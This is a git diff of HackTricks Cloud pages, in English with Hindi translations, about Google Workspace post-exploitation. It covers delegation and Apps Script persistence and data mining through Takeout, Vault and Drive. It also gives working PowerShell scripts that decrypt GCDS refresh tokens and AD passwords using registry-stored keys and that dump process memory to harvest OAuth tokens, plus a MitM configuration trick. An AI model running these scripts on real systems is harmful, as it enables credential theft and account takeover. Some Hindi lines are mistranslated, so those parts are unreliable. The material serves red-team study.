यदि आप अपने कार्य, स्कूल या अन्य संगठन के माध्यम से Gmail का उपयोग कर रहे हैं:
- You can add up to 1000 delegates within your organization.
- With typical use, 40 delegates can access a Gmail account at the same time.
- If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
- आप अपने संगठन के भीतर अधिकतम 1000 प्रतिनिधि जोड़ सकते हैं।
- सामान्य उपयोग के साथ, 40 प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं।
- यदि आप स्वचालित प्रक्रियाओं का उपयोग करते हैं, जैसे APIs या ब्राउज़र एक्सटेंशन, तो कुछ प्रतिनिधि एक ही समय में एक Gmail खाते तक पहुँच सकते हैं।
1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
2. In the top right, click Settings ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![and then](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **See all settings**.
3. Click the **Accounts and Import** or **Accounts** tab.
4. In the "Grant access to your account" section, click **Add another account**. If youre using Gmail through your work or school, your organization may restrict email delegation. If you dont see this setting, contact your admin.
- If you don't see Grant access to your account, then it's restricted.
5. Enter the email address of the person you want to add. If youre using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
\
**Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
1. अपने कंप्यूटर पर, [Gmail](https://mail.google.com/) खोलें। आप Gmail ऐप से प्रतिनिधि नहीं जोड़ सकते।
2. शीर्ष दाएँ कोने में, सेटिंग्स पर क्लिक करें ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![और फिर](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **सभी सेटिंग्स देखें**
3. **खाते और आयात** या **खाते** टैब पर क्लिक करें।
4. "अपने खाते तक पहुँच देने के लिए" अनुभाग में, **एक और खाता जोड़ें** पर क्लिक करें। यदि आप अपने कार्य या स्कूल के माध्यम से Gmail का उपयोग कर रहे हैं, तो आपके संगठन द्वारा ईमेल प्रतिनिधित्व को प्रतिबंधित किया जा सकता है। यदि आप इस सेटिंग को नहीं देखते हैं, तो अपने व्यवस्थापक से संपर्क करें।
- यदि आप अपने खाते तक पहुँच देने के लिए विकल्प नहीं देखते हैं, तो यह प्रतिबंधित है।
5. उस व्यक्ति का ईमेल पता दर्ज करें जिसे आप जोड़ना चाहते हैं। यदि आप अपने कार्य, स्कूल या अन्य संगठन के माध्यम से Gmail का उपयोग कर रहे हैं, और आपके व्यवस्थापक इसकी अनुमति देते हैं, तो आप एक समूह का ईमेल पता दर्ज कर सकते हैं। इस समूह का आपके संगठन के समान डोमेन होना चाहिए। समूह के बाहरी सदस्यों को प्रतिनिधित्व पहुँच से वंचित किया जाता है।\
\
**महत्वपूर्ण:** यदि आप जिस खाते को प्रतिनिधित्व करते हैं वह एक नया खाता है या पासवर्ड रीसेट किया गया है, तो व्यवस्थापक को पहले साइन इन करते समय पासवर्ड बदलने की आवश्यकता को बंद करना होगा।
- [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
- [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
- [जानें कि एक व्यवस्थापक उपयोगकर्ता कैसे बना सकता है](https://support.google.com/a/answer/33310)
- [जानें कि एक व्यवस्थापक पासवर्ड कैसे रीसेट कर सकता है](https://support.google.com/a/answer/33319)
6\. Click **Next Step** ![and then](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **Send email to grant access**.
6. **अगला चरण** पर क्लिक करें ![और फिर](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **पहुँच देने के लिए ईमेल भेजें**
The person you added will get an email asking them to confirm. The invitation expires after a week.
जिस व्यक्ति को आपने जोड़ा है, उसे पुष्टि करने के लिए एक ईमेल प्राप्त होगा। निमंत्रण एक सप्ताह के बाद समाप्त हो जाएगा।
If you added a group, all group members will become delegates without having to confirm.
यदि आपने एक समूह जोड़ा है, तो सभी समूह के सदस्य बिना पुष्टि किए प्रतिनिधि बन जाएंगे।
Note: It may take up to 24 hours for the delegation to start taking effect.
नोट: प्रतिनिधित्व प्रभावी होने में 24 घंटे तक का समय लग सकता है।
</details>
## Persistence via Android App
## Android ऐप के माध्यम से स्थिरता
If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
यदि आपके पास **शिकारियों के गूगल खाते के अंदर एक सत्र है** तो आप **प्ले स्टोर** पर जा सकते हैं और संभवतः **मैलवेयर इंस्टॉल कर सकते हैं** जिसे आपने पहले से स्टोर में अपलोड किया है सीधे **फोन पर** स्थिरता बनाए रखने और शिकारियों के फोन तक पहुँचने के लिए।
## **Persistence via** App Scripts
## **ऐप स्क्रिप्ट के माध्यम से स्थिरता**
You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
आप ऐप स्क्रिप्ट में **समय-आधारित ट्रिगर्स** बना सकते हैं, इसलिए यदि ऐप स्क्रिप्ट उपयोगकर्ता द्वारा स्वीकार की जाती है, तो यह **ट्रिगर** होगी भले ही **उपयोगकर्ता इसे एक्सेस न करे**। इसे करने के तरीके के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
gws-google-platforms-phishing/gws-app-scripts.md
{{#endref}}
## References
## संदर्भ
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - मैथ्यू ब्रायंट - हैकिंग जी सूट: डार्क ऐप्स स्क्रिप्ट जादू की शक्ति
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - माइक फेल्च और ब्यू बुलॉक - ओके गूगल, मैं जीसुइट को रेड टीम कैसे करूँ?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,14 @@
## Google Groups Privesc
By default in workspace a **group** can be **freely accessed** by any member of the organization.\
Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**.
डिफ़ॉल्ट रूप से, वर्कस्पेस में एक **समूह** को संगठन के किसी भी सदस्य द्वारा **स्वतंत्र रूप से एक्सेस** किया जा सकता है।\
वर्कस्पेस समूहों को **अनुमति देने** की भी अनुमति देता है (यहां तक कि GCP अनुमतियां), इसलिए यदि समूहों में शामिल होने की अनुमति है और उनके पास अतिरिक्त अनुमतियां हैं, तो एक हमलावर **अधिकार बढ़ाने के लिए उस पथ का दुरुपयोग कर सकता है**
You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
आपको संभवतः समूहों में शामिल होने के लिए कंसोल तक पहुंच की आवश्यकता हो सकती है जो संगठन में किसी भी व्यक्ति द्वारा शामिल होने की अनुमति देते हैं। समूहों की जानकारी [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) पर जांचें।
### Access Groups Mail info
If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**.
यदि आप **एक गूगल उपयोगकर्ता सत्र को समझौता** करने में सफल रहे, तो [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) से आप उस मेल समूहों के लिए भेजे गए मेलों का इतिहास देख सकते हैं, जिनका उपयोगकर्ता सदस्य है, और आप **क्रेडेंशियल्स** या अन्य **संवेदनशील डेटा** पा सकते हैं।
## GCP <--> GWS Pivoting
@@ -21,50 +21,50 @@ If you managed to **compromise a google user session**, from [**https://groups.g
## Takeout - Download Everything Google Knows about an account
If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
यदि आपके पास **शिकारियों के गूगल खाते के अंदर एक सत्र** है, तो आप [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none) से उस खाते के बारे में Google द्वारा सहेजे गए सभी चीजें डाउनलोड कर सकते हैं।
## Vault - Download all the Workspace data of users
If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**.
यदि किसी संगठन में **Google Vault सक्षम** है, तो आप [**https://vault.google.com**](https://vault.google.com/u/1/) पर पहुंचने में सक्षम हो सकते हैं और **सभी जानकारी** **डाउनलोड** कर सकते हैं।
## Contacts download
From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user.
[**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) से आप उपयोगकर्ता के सभी **संपर्कों** को डाउनलोड कर सकते हैं।
## Cloudsearch
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**.
[**https://cloudsearch.google.com/**](https://cloudsearch.google.com) में आप बस **सभी वर्कस्पेस सामग्री** (ईमेल, ड्राइव, साइटें...) के माध्यम से खोज सकते हैं, जिनका उपयोगकर्ता को एक्सेस है। संवेदनशील जानकारी को **जल्दी से खोजने** के लिए आदर्श।
## Google Chat
In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any).
[**https://mail.google.com/chat**](https://mail.google.com/chat) में आप एक Google **चैट** तक पहुंच सकते हैं, और आप बातचीत में संवेदनशील जानकारी पा सकते हैं (यदि कोई हो)।
## Google Drive Mining
When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**.
जब आप एक दस्तावेज़ को **साझा** करते हैं, तो आप **लोगों** को एक-एक करके एक्सेस करने के लिए **निर्धारित** कर सकते हैं, इसे अपनी **पूरी कंपनी** के साथ (**या** कुछ विशेष **समूहों** के साथ) **लिंक** उत्पन्न करके **साझा** कर सकते हैं।
When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them.
दस्तावेज़ साझा करते समय, उन्नत सेटिंग में आप इस फ़ाइल के लिए लोगों को खोजने की भी **अनुमति** दे सकते हैं (डिफ़ॉल्ट रूप से यह **अक्षम** है)। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि एक बार जब उपयोगकर्ता एक दस्तावेज़ को देखते हैं, तो यह उनके द्वारा खोजा जा सकता है।
For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one.
सरलता के लिए, अधिकांश लोग लिंक उत्पन्न और साझा करेंगे बजाय इसके कि वे उन लोगों को एक-एक करके जोड़ें जो दस्तावेज़ तक पहुंच सकते हैं।
Some proposed ways to find all the documents:
दस्तावेज़ खोजने के लिए कुछ प्रस्तावित तरीके:
- Search in internal chat, forums...
- **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
- आंतरिक चैट, फोरम में खोजें...
- **स्पाइडर** ज्ञात **दस्तावेज़ों** में अन्य दस्तावेज़ों के लिए **संदर्भ** खोजें। आप इसे एक ऐप स्क्रिप्ट के भीतर [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser) के साथ कर सकते हैं।
## **Keep Notes**
In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here.
[**https://keep.google.com/**](https://keep.google.com) में आप उपयोगकर्ता के नोट्स तक पहुंच सकते हैं, यहां **संवेदनशील** **जानकारी** सहेजी जा सकती है।
### Modify App Scripts
In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user.
[**https://script.google.com/**](https://script.google.com/) में आप उपयोगकर्ता के ऐप स्क्रिप्ट पा सकते हैं।
## **Administrate Workspace**
In [**https://admin.google.com**/](https://admin.google.com), you might be able to modify the Workspace settings of the whole organization if you have enough permissions.
[**https://admin.google.com**/](https://admin.google.com) में, यदि आपके पास पर्याप्त अनुमतियां हैं, तो आप पूरे संगठन के वर्कस्पेस सेटिंग्स को संशोधित करने में सक्षम हो सकते हैं।
You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
आप [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch) में सभी उपयोगकर्ता के चालानों के माध्यम से खोजकर ईमेल भी पा सकते हैं।
## References
@@ -72,7 +72,3 @@ You can also find emails by searching through all the user's invoices in [**http
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,12 +4,12 @@
## GCPW - Google Credential Provider for Windows
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
यह एकल साइन-ऑन है जो Google Workspaces प्रदान करता है ताकि उपयोगकर्ता अपने Windows PCs में **अपने Workspace क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सकें। इसके अलावा, यह कुछ स्थानों पर Google Workspace तक पहुँचने के लिए **टोकन** संग्रहीत करेगा: डिस्क, मेमोरी और रजिस्ट्री... यहां तक कि **स्पष्ट पाठ पासवर्ड** प्राप्त करना भी संभव है।
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCPW** का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और **यहां तक कि टोकन** प्राप्त करने में सक्षम है।
Find more information about this in:
इस बारे में अधिक जानकारी प्राप्त करें:
{{#ref}}
gcpw-google-credential-provider-for-windows.md
@@ -17,14 +17,14 @@ gcpw-google-credential-provider-for-windows.md
## GCSD - Google Cloud Directory Sync
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
यह एक उपकरण है जिसका उपयोग **आपके सक्रिय निर्देशिका उपयोगकर्ताओं और समूहों को आपके Workspace के साथ समन्वयित करने के लिए किया जा सकता है** (और इस लेखन के समय इसके विपरीत नहीं)।
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
यह दिलचस्प है क्योंकि यह एक उपकरण है जिसे **Workspace सुपरयूजर और विशेषाधिकार प्राप्त AD उपयोगकर्ता के क्रेडेंशियल्स** की आवश्यकता होगी। इसलिए, यह संभव है कि इसे एक डोमेन सर्वर के अंदर पाया जा सके जो समय-समय पर उपयोगकर्ताओं को समन्वयित कर रहा हो।
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCDS** का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और **यहां तक कि पासवर्ड और एन्क्रिप्टेड क्रेडेंशियल्स** प्राप्त करने में सक्षम है।
Find more information about this in:
इस बारे में अधिक जानकारी प्राप्त करें:
{{#ref}}
gcds-google-cloud-directory-sync.md
@@ -32,14 +32,14 @@ gcds-google-cloud-directory-sync.md
## GPS - Google Password Sync
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
यह बाइनरी और सेवा है जो Google उपयोगकर्ताओं के पासवर्ड को AD और Workspace के बीच **समन्वयित रखने** के लिए प्रदान करता है। जब भी एक उपयोगकर्ता AD में अपना पासवर्ड बदलता है, तो इसे Google पर सेट किया जाता है।
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
यह `C:\Program Files\Google\Password Sync` में स्थापित होता है जहां आप इसे कॉन्फ़िगर करने के लिए बाइनरी `PasswordSync.exe` और `password_sync_service.exe` (सेवा जो चलती रहेगी) पा सकते हैं।
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GPS** का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और **यहां तक कि पासवर्ड और एन्क्रिप्टेड क्रेडेंशियल्स** प्राप्त करने में सक्षम है।
Find more information about this in:
इस बारे में अधिक जानकारी प्राप्त करें:
{{#ref}}
gps-google-password-sync.md
@@ -47,16 +47,12 @@ gps-google-password-sync.md
## Admin Directory Sync
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
GCDS के साथ उपयोगकर्ताओं को समन्वयित करने के इस तरीके के बीच मुख्य अंतर यह है कि GCDS कुछ बाइनरी के साथ मैन्युअल रूप से किया जाता है जिन्हें आपको डाउनलोड और चलाना होता है जबकि **Admin Directory Sync सर्वर रहित** है जिसे Google द्वारा [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) पर प्रबंधित किया जाता है।
Find more information about this in:
इस बारे में अधिक जानकारी प्राप्त करें:
{{#ref}}
gws-admin-directory-sync.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,28 +4,27 @@
## Basic Information
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
यह एक उपकरण है जिसका उपयोग **आपके सक्रिय निर्देशिका उपयोगकर्ताओं और समूहों को आपके Workspace के साथ समन्वयित करने के लिए** किया जा सकता है (और इस लेखन के समय इसके विपरीत नहीं)।
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
यह दिलचस्प है क्योंकि यह एक उपकरण है जिसे **Workspace सुपरयूजर और विशेषाधिकार प्राप्त AD उपयोगकर्ता** के **क्रेडेंशियल्स** की आवश्यकता होगी। इसलिए, यह संभव है कि इसे एक डोमेन सर्वर के अंदर पाया जा सके जो समय-समय पर उपयोगकर्ताओं को समन्वयित कर रहा हो।
> [!NOTE]
> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> **`config-manager.exe`** बाइनरी पर **MitM** करने के लिए बस `config.manager.vmoptions` फ़ाइल में निम्नलिखित पंक्ति जोड़ें: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCDS** का पता लगाने में सक्षम है, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करें और **यहां तक कि पासवर्ड और एन्क्रिप्टेड क्रेडेंशियल्स** भी।
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड को समन्वयित नहीं करेगा। यदि कुछ होगा तो यह Workspace में नए बनाए गए उपयोगकर्ताओं के लिए यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
### GCDS - Disk Tokens & AD Credentials
The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.
बाइनरी `config-manager.exe` (मुख्य GCDS बाइनरी GUI के साथ) कॉन्फ़िगर की गई सक्रिय निर्देशिका क्रेडेंशियल्स, रिफ्रेश टोकन और एक्सेस को डिफ़ॉल्ट रूप से **xml फ़ाइल** में **`C:\Program Files\Google Cloud Directory Sync`** फ़ोल्डर में **`Untitled-1.xml`** नामक फ़ाइल में संग्रहीत करेगा। हालांकि, इसे उपयोगकर्ता के `Documents` में या **किसी अन्य फ़ोल्डर** में भी सहेजा जा सकता है।
Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.
The most interesting information inside the file would be:
इसके अलावा, रजिस्ट्री **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** के अंदर कुंजी **`open.recent`** हाल ही में खोले गए सभी कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथों को शामिल करती है। इसलिए इसे **खोजने के लिए जांचना संभव है**
फ़ाइल के अंदर सबसे दिलचस्प जानकारी होगी:
```xml
[...]
<loginMethod>OAUTH2</loginMethod>
@@ -50,13 +49,11 @@ The most interesting information inside the file would be:
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.
ध्यान दें कि उपयोगकर्ता का **refresh** **token** और **password** **AES CBC** का उपयोग करके एक यादृच्छिक रूप से उत्पन्न कुंजी और IV के साथ **encrypted** हैं, जो **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** में संग्रहीत हैं (जहां भी **`prefs`** Java पुस्तकालय प्राथमिकताएँ संग्रहीत करता है) स्ट्रिंग कुंजी **`/Encryption/Policy/V2.iv`** और **`/Encryption/Policy/V2.key`** में base64 में संग्रहीत हैं।
<details>
<summary>Powershell script to decrypt the refresh token and the password</summary>
<summary>Powershell स्क्रिप्ट refresh token और password को decrypt करने के लिए</summary>
```powershell
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
@@ -66,34 +63,34 @@ $keyKeyName = "/Encryption/Policy/V2.key"
# Open the registry key
try {
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
}
catch {
Write-Error "Failed to open registry key: $_"
exit
Write-Error "Failed to open registry key: $_"
exit
}
# Get Base64-encoded IV and Key from the registry
try {
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
}
catch {
Write-Error "Failed to read registry values: $_"
exit
Write-Error "Failed to read registry values: $_"
exit
}
$regKey.Close()
@@ -118,25 +115,25 @@ $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes
$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()
$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()
$cryptoStream.Close()
$memoryStream.Close()
$cryptoStream.Close()
$memoryStream.Close()
return $plaintextBytes
return $plaintextBytes
}
# Decrypt the values
@@ -150,23 +147,21 @@ $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBy
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"
```
</details>
> [!NOTE]
> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
> ध्यान दें कि इस जानकारी की जांच करना संभव है **`DirSync.jar`** के जावा कोड को चेक करके **`C:\Program Files\Google Cloud Directory Sync`** में `exportkeys` स्ट्रिंग को खोजकर (क्योंकि यह वह cli पैरामीटर है जिसे बाइनरी `upgrade-config.exe` कुंजी को डंप करने के लिए अपेक्षित करता है)।
Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
पॉवरशेल स्क्रिप्ट का उपयोग करने के बजाय, बाइनरी **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** का उपयोग करना भी संभव है जिसमें पैरामीटर `-exportKeys` है और रजिस्ट्री से **Key** और **IV** को हेक्स में प्राप्त करें और फिर बस कुछ साइबरशेफ का उपयोग करें AES/CBC और उस कुंजी और IV के साथ जानकारी को डिक्रिप्ट करने के लिए।
### GCDS - Dumping tokens from memory
### GCDS - मेमोरी से टोकन डंप करना
Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
I guess you could also find the AD configured credentials.
GCPW की तरह, `config-manager.exe` प्रक्रिया की मेमोरी को डंप करना संभव है (यह GCDS के मुख्य बाइनरी का नाम है जिसमें GUI है) और आप रिफ्रेश और एक्सेस टोकन पा सकेंगे (यदि वे पहले से उत्पन्न हो चुके हैं)।\
मुझे लगता है कि आप AD कॉन्फ़िगर की गई क्रेडेंशियल्स भी पा सकते हैं।
<details>
<summary>Dump config-manager.exe processes and search tokens</summary>
<summary>config-manager.exe प्रक्रियाओं को डंप करें और टोकन खोजें</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
@@ -175,13 +170,13 @@ $dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
